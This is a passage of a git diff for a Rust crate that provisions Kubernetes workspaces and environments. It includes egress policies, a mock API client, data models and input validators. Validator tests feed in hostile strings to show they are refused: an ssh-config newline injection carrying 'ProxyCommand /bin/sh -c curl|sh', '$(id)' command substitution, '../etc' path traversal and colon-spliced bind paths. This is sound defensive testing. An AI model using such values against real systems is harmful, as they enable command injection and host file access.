Some("allow-internet-egress")).unwrap(); + let rules = net.spec.as_ref().unwrap().egress.as_ref().unwrap(); + let block = rules[0].to.as_ref().unwrap()[0].ip_block.as_ref().unwrap(); + assert_eq!(block.cidr, "0.0.0.0/0"); + let except = block.except.as_ref().unwrap(); + + // The metadata service, and every private range the cluster lives on. + for cidr in ["169.254.0.0/16", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"] { + assert!(except.contains(&cidr.to_string()), "{cidr} must be excluded from egress"); + } + // Egress-only: this rule must never become an ingress hole. + assert_eq!(net.spec.as_ref().unwrap().policy_types.as_ref().unwrap(), &vec!["Egress".to_string()]); + } + + #[test] + fn an_attachment_names_one_workspace_not_every_sibling() { + let ingress = attach_policy("env-1", "ws-alice", "ws-abc", "team", &owner_ref()); + assert_eq!(ingress.metadata.namespace.as_deref(), Some("env-1")); + let rules = ingress.spec.unwrap().ingress.unwrap(); + let from_list = rules[0].from.as_ref().unwrap(); + // ONE peer, not two: within a peer the selectors AND, across peers they OR. Two peers here + // would grant the whole namespace OR every pod with that label anywhere. + assert_eq!(from_list.len(), 1, "two peers would OR and blow the grant wide open"); + let from = &from_list[0]; + let ns_sel = from.namespace_selector.as_ref().unwrap().match_labels.as_ref().unwrap(); + assert_eq!(ns_sel.get("kubernetes.io/metadata.name").map(String::as_str), Some("ws-alice")); + // Since a user's workspaces SHARE a namespace, the pod selector is what keeps this grant to + // the one workspace that was attached. Without it every workspace the user owns could reach + // the environment. (This assertion is the exact inverse of what it was when a namespace + // held a single workspace — the reasoning flipped with the layout.) + let pod_sel = from.pod_selector.as_ref().expect("a bare namespace selector over-grants"); + assert_eq!( + pod_sel.match_labels.as_ref().unwrap().get(WORKSPACE_LABEL).map(String::as_str), + Some("ws-abc") + ); + + // Egress is denied by default at the workspace end too, so one-sided attachment silently + // fails — the workspace could not send, whatever the environment allows. + let egress = attach_egress_policy("ws-abc", "env-1", "alice", &owner_ref()); + assert_eq!(egress.metadata.namespace.as_deref(), Some("ws-abc")); + assert_eq!(egress.spec.unwrap().policy_types.unwrap(), vec!["Egress".to_string()]); + } + + #[test] + fn a_service_gets_a_clusterip_for_each_declared_port() { + let s = service_clusterip(&svc("data", "/data"), "env-1", "team", &owner_ref()); + let spec = s.spec.unwrap(); + let ports = spec.ports.unwrap(); + assert_eq!(ports.len(), 1); + assert_eq!(ports[0].port, 80); + assert_eq!(ports[0].target_port, Some(IntOrString::Int(80))); + // The selector must match the Deployment's template labels or the Service selects nothing + // and the name resolves to a black hole. + assert_eq!(spec.selector.unwrap().get(SERVICE_LABEL).map(String::as_str), Some("web")); + } +} diff --git a/crates/workspaces/src/kube_test.rs b/crates/workspaces/src/kube_test.rs new file mode 100644 index 00000000..27ee9b23 --- /dev/null +++ b/crates/workspaces/src/kube_test.rs @@ -0,0 +1,212 @@ +//! A `kube::Client` backed by canned responses, for testing everything that talks to the API +//! server without one. +//! +//! `kube::Client::new` takes any `tower::Service>`, which is the whole trick: a +//! `service_fn` that matches on method and path and answers JSON. Chosen over an envtest-style real +//! API server because Rust has no envtest, and downloading a `kube-apiserver` binary inside +//! `cargo test` is a non-starter. A real API server IS exercised — by `tests/ws_e2e.sh` against +//! real k3s — so this covers the branching logic and that covers the wire. + +use std::sync::{Arc, Mutex}; + +/// One canned answer: method, exact path, HTTP status, body. +#[derive(Clone)] +pub struct Route { + pub method: &'static str, + pub path: String, + pub status: u16, + pub body: serde_json::Value, +} + +pub fn get(path: impl Into, body: serde_json::Value) -> Route { + Route { method: "GET", path: path.into(), status: 200, body } +} + +pub fn post(path: impl Into, body: serde_json::Value) -> Route { + Route { method: "POST", path: path.into(), status: 201, body } +} + +/// A POST that loses a create race. `code` is what the caller branches on, so it is spelled out +/// rather than implied by the body. +pub fn conflict(path: impl Into) -> Route { + Route { + method: "POST", + path: path.into(), + status: 409, + body: serde_json::json!({ + "kind": "Status", "apiVersion": "v1", "status": "Failure", + "reason": "AlreadyExists", "code": 409, "message": "already exists" + }), + } +} + +pub fn not_found(path: impl Into) -> Route { + Route { + method: "GET", + path: path.into(), + status: 404, + body: serde_json::json!({ + "kind": "Status", "apiVersion": "v1", "status": "Failure", + "reason": "NotFound", "code": 404, "message": "not found" + }), + } +} + +/// What the client actually asked for, so a test can assert the absence of a call as well as its +/// result — "it did not try to re-home" is a real assertion. +#[derive(Default)] +pub struct Recorder(pub Arc>>, Arc>>); + +impl Recorder { + pub fn calls(&self) -> Vec { + self.0.lock().unwrap_or_else(|p| p.into_inner()).clone() + } + + /// The JSON bodies sent to `method path`, in order. Asserting on what was WRITTEN is the only + /// way to test a handler whose whole output is an object in the API server. + pub fn sent(&self, method: &str, path: &str) -> Vec { + self.1 + .lock() + .unwrap_or_else(|p| p.into_inner()) + .iter() + .filter(|(m, p, _)| m == method && p == path) + .map(|(_, _, b)| b.clone()) + .collect() + } +} + +/// Build a client answering `routes`. An unmatched request answers 404 rather than panicking, so a +/// test asserting "this path is never called" fails on its own assertion instead of a mock panic +/// buried in a task. +pub fn mock_client(routes: Vec) -> (kube::Client, Recorder) { + let rec = Recorder::default(); + let seen = rec.0.clone(); + let bodies = rec.1.clone(); + let svc = tower::service_fn(move |req: http::Request| { + let routes = routes.clone(); + let seen = seen.clone(); + let bodies = bodies.clone(); + async move { + use http_body_util::BodyExt; + let m = req.method().as_str().to_string(); + let p = req.uri().path().to_string(); + let (_, body) = req.into_parts(); + let raw = body.collect().await.map(|b| b.to_bytes()).unwrap_or_default(); + if let Ok(v) = serde_json::from_slice::(&raw) { + bodies.lock().unwrap_or_else(|x| x.into_inner()).push((m.clone(), p.clone(), v)); + } + seen.lock().unwrap_or_else(|x| x.into_inner()).push(format!("{m} {p}")); + // Successive calls to the SAME method+path walk that path's routes in order, so a + // test can say "404 first, then the winner's object" — which is exactly the shape of + // the conflict-adopt flow. The last route repeats once its list is exhausted. + let matching: Vec<&Route> = routes.iter().filter(|r| r.method == m && r.path == p).collect(); + let nth = { + let log = seen.lock().unwrap_or_else(|x| x.into_inner()); + log.iter().filter(|c| *c == &format!("{m} {p}")).count().saturating_sub(1) + }; + let hit = matching.get(nth.min(matching.len().saturating_sub(1))).copied(); + let (status, body) = match hit { + Some(r) => (r.status, r.body.clone()), + None => ( + 404, + serde_json::json!({ + "kind": "Status", "apiVersion": "v1", "status": "Failure", + "reason": "NotFound", "code": 404, + "message": format!("mock has no route for {m} {p}") + }), + ), + }; + http::Response::builder() + .status(status) + .header("content-type", "application/json") + .body(kube::client::Body::from(serde_json::to_vec(&body).unwrap())) + } + }); + (kube::Client::new(svc, "default"), rec) +} + +/// A stand-in for the server tier's volume browse routes (`bins/server/src/browse_api/volumes.rs`), +/// so the `/v1` volume handlers can be tested without a git node. +/// +/// `volumes` is keyed by owner, `histories` by `"{owner}/{name}"`; anything absent answers 404, +/// which is exactly what the real one does for "not yours" as well as "not there". Returns the base +/// URL to hand `Upstream::new`. The peer secret is not checked — it is the real server tier's +/// business, and asserting it here would only test this stub. +pub async fn stub_registry( + volumes: Vec<(&str, serde_json::Value)>, + histories: Vec<(&str, serde_json::Value)>, +) -> String { + use axum::response::IntoResponse; + use axum::{extract::Path, routing::get, Router}; + use std::collections::HashMap; + + let vols: Arc> = + Arc::new(volumes.into_iter().map(|(k, v)| (k.to_string(), v)).collect()); + let hist: Arc> = + Arc::new(histories.into_iter().map(|(k, v)| (k.to_string(), v)).collect()); + let hist_del = hist.clone(); + let snap_del = hist.clone(); + let app = Router::new() + // One snapshot: 404 for an unknown volume AND for an id that is not in its history, which + // is the pair the api tier collapses into a single 404 of its own. + .route( + "/api/{owner}/{name}/snapshotdelete/{snapshot}", + axum::routing::delete( + move |Path((owner, name, snapshot)): Path<(String, String, String)>| { + let h = snap_del.clone(); + async move { + let found = h + .get(&format!("{owner}/{name}")) + .and_then(|v| v.as_array()) + .is_some_and(|recs| recs.iter().any(|r| r["id"] == snapshot)); + match found { + true => axum::http::StatusCode::NO_CONTENT, + false => axum::http::StatusCode::NOT_FOUND, + } + } + }, + ), + ) + // The delete side of the same map: 404 when nothing was pushed under that name, so the + // api tier's own scoping (which owner label it may ask as) is what the test exercises. + .route( + "/api/{owner}/{name}/volumedelete", + axum::routing::delete(move |Path((owner, name)): Path<(String, String)>| { + let h = hist_del.clone(); + async move { + match h.contains_key(&format!("{owner}/{name}")) { + true => axum::http::StatusCode::NO_CONTENT, + false => axum::http::StatusCode::NOT_FOUND, + } + } + }), + ) + .route( + "/api/{owner}/volumes", + get(move |Path(owner): Path| { + let v = vols.clone(); + async move { + match v.get(&owner) { + Some(list) => axum::Json(list.clone()).into_response(), + None => axum::http::StatusCode::NOT_FOUND.into_response(), + } + } + }), + ) + .route( + "/api/{owner}/{name}/volumehistory", + get(move |Path((owner, name)): Path<(String, String)>| { + let h = hist.clone(); + async move { + match h.get(&format!("{owner}/{name}")) { + Some(list) => axum::Json(list.clone()).into_response(), + None => axum::http::StatusCode::NOT_FOUND.into_response(), + } + } + }), + ); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + tokio::spawn(async move { axum::serve(l, app).await.unwrap() }); + format!("http://{addr}") +} diff --git a/crates/workspaces/src/lib.rs b/crates/workspaces/src/lib.rs new file mode 100644 index 00000000..7b5502a1 --- /dev/null +++ b/crates/workspaces/src/lib.rs @@ -0,0 +1,13 @@ +#[cfg(feature = "testkit")] +pub mod kube_test; +pub mod k8s; +pub mod packages; +pub mod crd; +pub mod api; +pub mod cosmos; +pub mod engine; +pub mod model; +pub mod registry; +pub mod registry_client; +pub mod store; +pub mod upstream; diff --git a/crates/workspaces/src/model.rs b/crates/workspaces/src/model.rs new file mode 100644 index 00000000..dedaeab9 --- /dev/null +++ b/crates/workspaces/src/model.rs @@ -0,0 +1,422 @@ +//! Domain models, mirrored 1:1 against the Cosmos JSON in +//! docs/superpowers/specs/2026-08-24-workspaces-environments-design.md §Domain model. + +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; + + +#[derive(Clone, Debug, Serialize, Deserialize)] +pub struct Region { + pub id: String, + pub name: String, + pub storage_account: String, + pub blob_container: String, + pub status: String, + /// Per-region shared secret agents present on every `/v1/agent/*` request. `default` so + /// older region docs (written before this field existed) still deserialize. + #[serde(default)] + pub agent_token: String, +} + + + +#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum WsState { + Creating, + /// Set by `clone_ws` on the new doc — distinct from `Creating` so the UI can show a copy in + /// progress rather than implying a from-scratch provision. `WsClone`'s done handler moves it + /// to `Ready` same as `Creating` does; a retry-exhausted clone goes to `Error` same as any + /// other `Creating`/`Cloning` job would. + Cloning, + Ready, + Stopped, + Error, + Deleted, +} + +/// Every materialized workspace runs a container (`ws-{id}`) with its live subvolume +/// bind-mounted. `alpine` by default, and nothing more: the tools come from the Nix profile +/// (`spec.packages` on top of the platform's base set), so the image only has to exist, be +/// small, and stay alive — `k8s::workspace_pod` gives it `sleep infinity` for that. +pub fn default_ws_image() -> String { + DEFAULT_WS_IMAGE.into() +} + +pub const DEFAULT_WS_IMAGE: &str = "alpine:3.20"; + +/// What a client needs to ssh in, minus the ticket: the URL to dial and the key to pin. +#[derive(Clone, Debug, Serialize, Deserialize, PartialEq)] +pub struct SshDoc { + pub gateway: String, + pub host_key: String, +} + +#[derive(Clone, Debug, Serialize, Deserialize)] +pub struct Workspace { + pub id: String, + pub owner: String, + /// Empty for personal. See `crd::WorkspaceSpec::team`. + #[serde(default)] + pub team: String, + pub name: String, + pub region: String, + pub state: WsState, + #[serde(default = "default_ws_image")] + pub image: String, + pub placement: Option, + /// Pointer to the workspace's storage registry volume (`vol/{owner}/{id}`), written by the + /// job-done handler once the workspace has first pushed; `None` until then. `ref` is kept as + /// an alias so docs written before the commit/push split still deserialize. + #[serde(alias = "ref")] + pub volume: Option, + pub quota_gb: u64, + /// `None` until the workspace's pod has reported a host key. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub ssh: Option, + /// Current live state: exposed ports, installed packages, free-form. Snapshotted into the + /// `Snapshot` record's `state` at push time. Named `live_state` (not `state`, despite the + /// design doc's JSON sketch reusing that key) because the field above already owns `state` + /// for the lifecycle enum. + #[serde(default)] + pub live_state: serde_json::Value, + /// The list the caller asked for (`spec.packages`), not what is installed — see + /// `packages_status` for what building it produced. + #[serde(default)] + pub packages: Vec, + /// The platform's base set the node built the profile with — shown, never edited here. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub base_packages: Vec, + /// `None` until the reconciler has said anything about the list, which the web renders as + /// "installing…" rather than as a failure that was never reported. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub packages_status: Option, +} + +/// The `PackagesReady` condition, flattened for the web. +#[derive(Clone, Debug, Serialize, Deserialize)] +pub struct PackagesDoc { + pub ready: bool, + pub reason: String, + pub message: String, +} + +#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum LayerKind { + Block, + Stream, +} + +#[derive(Clone, Debug, Serialize, Deserialize)] +pub struct LineageEntry { + pub kind: LayerKind, + pub blob: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub snap: Option, + pub sha256: String, + /// LOCAL-ONLY, crash-recovery internal: true while this entry has been snapshotted+staged + /// locally but not yet durable on the registry (blob uploaded, `CommitRecord` registered, ref + /// moved) — a window that only exists mid-`push` or after one crashed partway through. The + /// local `.lineage` pool file is the only place this state exists — a `CommitRecord` sent to + /// the registry never carries it (always false on the wire; `push` clears it locally the + /// moment the record lands). Defaults to false so old lineage files and every remote copy + /// still parse. + #[serde(default, skip_serializing_if = "std::ops::Not::not")] + pub unpushed: bool, +} + +impl LineageEntry { + /// Local pool string form, matching the POC `Entry` encoding: `s:{blob}:{sha}` for a + /// stream layer, `b:{blob}:{snap}:{sha}` for a block layer, with a trailing `|u` when the + /// entry is committed-but-not-pushed (see `unpushed`'s doc). The `|u` is appended, not + /// woven into the `:`-separated fields, so a parser written before commit/push existed + /// would simply see it as trailing garbage on `sha256` — there is no such parser left, but + /// it kept the diff to `parse`/`encode` alone. + pub fn encode(&self) -> String { + let body = match self.kind { + LayerKind::Stream => format!("s:{}:{}", self.blob, self.sha256), + LayerKind::Block => format!( + "b:{}:{}:{}", + self.blob, + self.snap.as_deref().unwrap_or(""), + self.sha256 + ), + }; + if self.unpushed { format!("{body}|u") } else { body } + } + + /// `None` on a malformed line rather than a panic: the lineage file is plain text on a pool + /// that can lose power mid-write, and a torn last line used to take the whole agent down + /// through `Pool::lineage`'s `map`. + pub fn parse(s: &str) -> Option { + let (s, unpushed) = match s.strip_suffix("|u") { + Some(rest) => (rest, true), + None => (s, false), + }; + let p: Vec<&str> = s.split(':').collect(); + match *p.first()? { + "b" if p.len() >= 4 && !p[1].is_empty() && !p[3].is_empty() => Some(LineageEntry { + kind: LayerKind::Block, + blob: p[1].into(), + snap: Some(p[2].into()), + sha256: p[3].into(), + unpushed, + }), + // `"s"` explicitly, not a catch-all. `encode` only ever writes `s:` or `b:`, so a line + // starting with anything else is corruption — and a catch-all accepted `":::"` as a + // stream layer with an empty blob and an empty hash, which is a lineage entry that + // names nothing and would send the janitor looking for a blob called "". + "s" if p.len() >= 3 && !p[1].is_empty() && !p[2].is_empty() => Some(LineageEntry { + kind: LayerKind::Stream, + blob: p[1].into(), + snap: None, + sha256: p[2].into(), + unpushed, + }), + _ => None, + } + } + + /// Name of the local RO snapshot this entry materializes: the blob id for a stream + /// layer, or the contained subvolume name for a block layer (the stream snapshot it + /// materializes, so streams chain across the block boundary by received-UUID exactly as + /// they would over the wire). + pub fn snap_name(&self) -> &str { + match self.kind { + LayerKind::Stream => &self.blob, + LayerKind::Block => self.snap.as_deref().unwrap_or(&self.blob), + } + } +} + +/// Names a folder inside the env's own subvolume (`live/volumes/{folder}`), never a workspace — +/// see the "An environment is a composition" decision in the design doc. Any non-empty `folder` +/// name must be a single safe segment (see `validate_mount` — anything else escapes the +/// subvolume); the folder is created on demand by `EnvUp`. `#[serde(alias)]` keeps old docs +/// (and the API request body) that still say `volume` working. +#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, schemars::JsonSchema)] +pub struct Mount { + #[serde(alias = "volume")] + pub folder: String, + pub path: String, +} + +/// A mount is bind-mounted by a ROOT agent, so both halves are a security boundary, not a +/// convenience check: `folder` is joined onto the environment's own subvolume and `path` is +/// concatenated into a `src:dst` string. `Path::join` discards the base when the component is +/// absolute and `..` walks out of it, so anything but a single safe segment hands the caller an +/// arbitrary host path; a `:` in either half splices extra fields (a second mapping, `:ro`) into +/// the bind string. Kept here rather than in `engine::compose` so the runtime that replaces +/// compose can call the same rule. +pub fn validate_mount(m: &Mount) -> Result<(), String> { + if !rustic_git_storage::store::valid_segment(&m.folder) { + return Err(format!("mount folder {:?} must be a single name of [A-Za-z0-9._-]", m.folder)); + } + if !m.path.starts_with('/') || m.path.contains(':') || m.path.contains('\0') { + return Err(format!("mount path {:?} must be an absolute path with no ':'", m.path)); + } + Ok(()) +} + +/// A service's name becomes a StatefulSet, a ClusterIP Service and a label value, so it has to be +/// a DNS-1035 label (`[a-z]([-a-z0-9]*[a-z0-9])?`, at most 63): anything else is a 422 from the +/// API server on EVERY reconcile, forever, and the environment never comes up. Ports and env keys +/// are checked here for the same reason — the API server, not this code, is what rejects a port 0 +/// or a `FOO-BAR` env name, and it does so one requeue at a time. +pub fn validate_service(s: &Service) -> Result<(), String> { + let n = s.name.as_bytes(); + let label = !n.is_empty() + && n.len() <= 63 + && n[0].is_ascii_lowercase() + && n[n.len() - 1] != b'-' + && n.iter().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || *b == b'-'); + if !label { + return Err(format!("service name {:?} must be a lowercase DNS label starting with a letter", s.name)); + } + if s.ports.contains(&0) { + return Err(format!("service {:?}: port must be 1-65535", s.name)); + } + for k in s.env.keys() { + let ok = k.bytes().next().is_some_and(|b| b.is_ascii_alphabetic() || b == b'_') + && k.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'_'); + if !ok { + return Err(format!("service {:?}: env name {k:?} must match [A-Za-z_][A-Za-z0-9_]*", s.name)); + } + } + s.mounts.iter().try_for_each(validate_mount) +} + +/// Every service, plus the rule no single service can check: two with one name are one +/// StatefulSet, and the second silently overwrites the first. +pub fn validate_services(services: &[Service]) -> Result<(), String> { + let mut seen = std::collections::HashSet::new(); + for s in services { + validate_service(s)?; + if !seen.insert(s.name.as_str()) { + return Err(format!("duplicate service name {:?}", s.name)); + } + } + Ok(()) +} + +/// A workspace name is written VERBATIM into generated ssh config — `Host {name}` in +/// `bins/kl/src/sshconfig.rs` and in the web's copy block. A newline in it appends arbitrary +/// keywords (`ProxyCommand`, `Host *`) to a teammate's `~/.ssh` on the next `kl ws ssh-config`, +/// so this is a security boundary and not a tidiness rule. Same alphabet as `valid_segment`, +/// capped at 63 so a name can never be the reason a DNS label has to be truncated. +pub fn valid_ws_name(name: &str) -> bool { + !name.is_empty() + && name.len() <= 63 + && name.bytes().all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) +} + +#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, schemars::JsonSchema)] +pub struct Service { + pub name: String, + pub image: String, + pub command: Vec, + pub env: HashMap, + pub mounts: Vec, + /// Container ports this service answers on, published as a ClusterIP Service so siblings — and + /// an attached workspace — can reach it by service name. `default` so environment documents + /// written before ports existed still deserialize as "exposes nothing". + #[serde(default)] + pub ports: Vec, +} + +#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum EnvState { + Creating, + /// Same "copy in progress, not a from-scratch provision" distinction as `WsState::Cloning`. + Cloning, + Running, + Stopped, + Error, + Deleted, +} + +#[derive(Clone, Debug, Serialize, Deserialize)] +pub struct Environment { + pub id: String, + pub owner: String, + pub name: String, + pub region: String, + pub state: EnvState, + pub placement: Option, + /// The env's OWN storage registry volume pointer (`vol/{owner}/{id}`; one btrfs subvolume + /// for the whole env, every mount a folder inside it) — moved by etag CAS exactly like + /// `Workspace.volume`. + #[serde(alias = "ref", default)] + pub volume: Option, + pub services: Vec, + /// The snapshot the environment's disk last landed on, when a restore put one there. Read off + /// the child `Volume`'s status, and absent for every environment that has never been restored + /// in place — where "current" is simply the newest record. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub restored_to: Option, + /// When that restore was asked for. With `restored_to` it is what tells a snapshot taken AFTER + /// the restore (the environment moved on to it) from one the restored record already had as a + /// child before (a sibling branch the environment is not on). + #[serde(default, skip_serializing_if = "Option::is_none")] + pub restore_requested_at: Option, + /// Why this environment is mid-restore, as the condition's own `reason` (`Draining` while its + /// services stop, `Restoring` while the disk is swapped). `None` is the ordinary state. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub restoring: Option, +} + + + + +#[cfg(test)] +mod tests { + use super::{validate_mount, validate_services, Mount, Service}; + + fn m(folder: &str, path: &str) -> Mount { + Mount { folder: folder.into(), path: path.into() } + } + + fn svc(name: &str) -> Service { + Service { name: name.into(), image: "alpine".into(), command: vec![], env: Default::default(), mounts: vec![], ports: vec![80] } + } + + #[test] + fn a_service_is_refused_before_the_api_server_would_refuse_it_forever() { + assert!(validate_services(&[svc("db"), svc("web-1")]).is_ok()); + for bad in ["Foo_bar", "", "-db", "db-", "1db", &"a".repeat(64)] { + assert!(validate_services(&[svc(bad)]).is_err(), "{bad:?}"); + } + assert!(validate_services(&[svc("db"), svc("db")]).is_err(), "duplicates overwrite a sibling"); + let mut p0 = svc("db"); + p0.ports.push(0); + assert!(validate_services(&[p0]).is_err(), "port 0"); + let mut env = svc("db"); + env.env.insert("FOO-BAR".into(), "x".into()); + assert!(validate_services(&[env]).is_err(), "env key"); + let mut ok_env = svc("db"); + ok_env.env.insert("_FOO1".into(), "x".into()); + assert!(validate_services(&[ok_env]).is_ok()); + let mut esc = svc("db"); + esc.mounts.push(m("../etc", "/etc")); + assert!(validate_services(&[esc]).is_err(), "mounts are still checked here"); + } + + #[test] + fn a_mount_folder_is_one_safe_segment() { + assert!(validate_mount(&m("data", "/data")).is_ok()); + assert!(validate_mount(&m("pg_data-1.2", "/var/lib/postgresql")).is_ok()); + + // Every one of these bind-mounts something outside the environment's own subvolume, + // because `Path::join` drops the base on an absolute component and `..` walks out. + for bad in ["/", "..", "a/b", "", ".", "../../etc", "/etc", "a:b", "x\0y"] { + assert!(validate_mount(&m(bad, "/data")).is_err(), "folder {bad:?} must be refused"); + } + } + + #[test] + fn a_workspace_name_cannot_carry_ssh_config() { + for ok in ["dev", "my-ws.2", "a_b", &"x".repeat(63)] { + assert!(super::valid_ws_name(ok), "name {ok:?} must be allowed"); + } + // The newline cases are the injection; the rest are the alphabet and the length. + for bad in [ + "", + "x\n ProxyCommand /bin/sh -c curl|sh\nHost *", + "a b", + "a\tb", + "a/b", + "a*", + "a\r", + &"x".repeat(64), + ] { + assert!(!super::valid_ws_name(bad), "name {bad:?} must be refused"); + } + } + + #[test] + fn a_mount_path_is_absolute_and_colon_free() { + assert!(validate_mount(&m("data", "/data")).is_ok()); + for bad in ["", "data", "./data", "/data:ro", "/data:/etc:ro", "/data\0"] { + assert!(validate_mount(&m("data", bad)).is_err(), "path {bad:?} must be refused"); + } + } +} + +#[cfg(test)] +mod lineage_parse_tests { + use super::LineageEntry; + + #[test] + fn parse_survives_a_truncated_line() { + // Every shape a power-loss mid-write can leave in the file. None of these may panic. + for bad in ["", "b", "b:only-blob", "b:blob:snap", "s:", "s:blob", "|u", ":::"] { + assert!(LineageEntry::parse(bad).is_none(), "{bad:?} must parse as None"); + } + let good = "b:blob:snap:sha|u"; + let e = LineageEntry::parse(good).unwrap(); + assert!(e.unpushed); + assert_eq!(e.encode(), good, "a good line still round-trips"); + } +} diff --git a/crates/workspaces/src/packages.rs b/crates/workspaces/src/packages.rs new file mode 100644 index 00000000..5228d721 --- /dev/null +++ b/crates/workspaces/src/packages.rs @@ -0,0 +1,147 @@ +//! The package list a workspace declares (`spec.packages` on its CRD), and everything the +//! reconciler needs derived from it. Pure on purpose: this module never touches the disk or Nix, +//! so every rule about what a list may say is testable without either. +//! +//! The list arrives from the API — which writes `spec.packages` — but the CR itself is not a +//! trust boundary the API alone controls: any principal with write access to the object (a +//! restored backup, a migration, `kubectl edit`) can put an arbitrary list there. So the same +//! grammar is checked twice: once by the API before it writes, again by the reconciler before it +//! ever renders a name into a Nix expression. + +use sha2::{Digest, Sha256}; + +pub const MAX_PACKAGES: usize = 100; +pub const MAX_ATTR_LEN: usize = 64; +/// Inside the pod, where the workspace's own profile DIRECTORY is mounted. +pub const PROFILE_MOUNT: &str = "/nix/profile"; +/// The link inside it that every environment variable points at. The mount cannot be the link +/// itself: the kubelet resolves a subPath once at container start, so a swapped link under a +/// mounted subPath would never reach a running pod — the swap has to happen one level below. +pub const PROFILE_LINK: &str = "/nix/profile/current"; +const DEFAULT_PATH: &str = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"; + +#[derive(Clone, Debug, PartialEq)] +pub enum PackageError { + Attr(String), + TooMany(usize), + Duplicate(String), +} + +impl std::fmt::Display for PackageError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + PackageError::Attr(a) => write!(f, "{a:?} is not a package attribute name"), + PackageError::TooMany(n) => write!(f, "{n} packages; the limit is {MAX_PACKAGES}"), + PackageError::Duplicate(a) => write!(f, "{a:?} is listed twice"), + } + } +} + +pub fn validate_attr(s: &str) -> Result<(), PackageError> { + let mut chars = s.chars(); + let ok_first = chars.next().is_some_and(|c| c.is_ascii_alphanumeric() || c == '_'); + let ok_rest = chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '_' | '.' | '+' | '-')); + if ok_first && ok_rest && s.len() <= MAX_ATTR_LEN { + Ok(()) + } else { + Err(PackageError::Attr(s.to_string())) + } +} + +/// Validates a whole list: size, grammar of every entry, and no duplicates. +pub fn validate_list(list: &[String]) -> Result<(), PackageError> { + if list.len() > MAX_PACKAGES { + return Err(PackageError::TooMany(list.len())); + } + let mut seen = std::collections::HashSet::new(); + for p in list { + validate_attr(p)?; + if !seen.insert(p.as_str()) { + return Err(PackageError::Duplicate(p.clone())); + } + } + Ok(()) +} + +/// What the profile on disk IS: the pin and the sorted list. Sorted so a reordered file is not a +/// rebuild; pinned so a rolled nixpkgs is. +pub fn hash(pin: &str, packages: &[String]) -> String { + let mut sorted: Vec<&str> = packages.iter().map(String::as_str).collect(); + sorted.sort_unstable(); + let mut h = Sha256::new(); + h.update(pin.as_bytes()); + for p in sorted { + h.update(b"\n"); + h.update(p.as_bytes()); + } + format!("sha256:{:x}", h.finalize()) +} + +/// The whole expression `nix build --expr` evaluates. Names arrive validated (`validate_attr`) +/// and are emitted as `pkgs.` inside a list literal — there is no string context in the +/// expression a name could escape into. +pub fn expression(pin: &str, id: &str, packages: &[String]) -> String { + let paths: Vec = packages.iter().map(|p| format!("pkgs.{p}")).collect(); + format!( + "let pkgs = import (builtins.getFlake \"{pin}\") {{ }}; in pkgs.buildEnv {{ name = \"ws-{id}-env\"; paths = [ {} ]; }}", + paths.join(" ") + ) +} + +/// The image's own PATH is unknown to us at apply time — the kubelet only merges env on top of +/// the image's — so the container gets an explicit one: profile first, then a default that every +/// Debian/Alpine image already has. +pub fn path_env(image_path: Option<&str>) -> String { + format!("{PROFILE_LINK}/bin:{}", image_path.unwrap_or(DEFAULT_PATH)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_attribute_grammar_refuses_anything_that_could_be_code() { + for bad in ["$(id)", "a b", "a\"b", "a;b", "(x)", "-lead", "", &"x".repeat(65)] { + assert!(validate_attr(bad).is_err(), "{bad:?} must be refused"); + } + for ok in ["hello", "nodejs_20", "python3Packages.requests", "gcc-wrapper", "libc++"] { + assert!(validate_attr(ok).is_ok(), "{ok:?} must pass"); + } + } + + #[test] + fn a_list_is_validated_as_a_whole() { + assert!(validate_list(&["hello".into(), "jq".into()]).is_ok()); + assert!(matches!(validate_list(&["hello".into(), "hello".into()]), Err(PackageError::Duplicate(_)))); + let many: Vec = (0..101).map(|i| format!("p{i}")).collect(); + assert!(matches!(validate_list(&many), Err(PackageError::TooMany(101)))); + assert!(matches!(validate_list(&["$(id)".into()]), Err(PackageError::Attr(_)))); + } + + #[test] + fn the_hash_is_order_independent_and_pin_sensitive() { + let a = hash("github:NixOS/nixpkgs/aaaa", &["go".into(), "jq".into()]); + let b = hash("github:NixOS/nixpkgs/aaaa", &["jq".into(), "go".into()]); + let c = hash("github:NixOS/nixpkgs/bbbb", &["go".into(), "jq".into()]); + assert_eq!(a, b); + assert_ne!(a, c); + assert!(a.starts_with("sha256:")); + } + + #[test] + fn the_expression_is_a_list_literal_never_interpolated_text() { + let e = expression("github:NixOS/nixpkgs/aaaa", "ws-1", &["go".into(), "python3Packages.requests".into()]); + assert_eq!( + e, + "let pkgs = import (builtins.getFlake \"github:NixOS/nixpkgs/aaaa\") { }; in pkgs.buildEnv { name = \"ws-ws-1-env\"; paths = [ pkgs.go pkgs.python3Packages.requests ]; }" + ); + let empty = expression("github:NixOS/nixpkgs/aaaa", "ws-1", &[]); + assert!(empty.contains("paths = [ ];")); + } + + #[test] + fn path_env_prepends_the_profile_and_falls_back_to_a_sane_default() { + assert_eq!(path_env(Some("/opt/bin:/usr/bin")), "/nix/profile/current/bin:/opt/bin:/usr/bin"); + assert_eq!(path_env(None), "/nix/profile/current/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); + } +} diff --git a/crates/workspaces/src/registry.rs 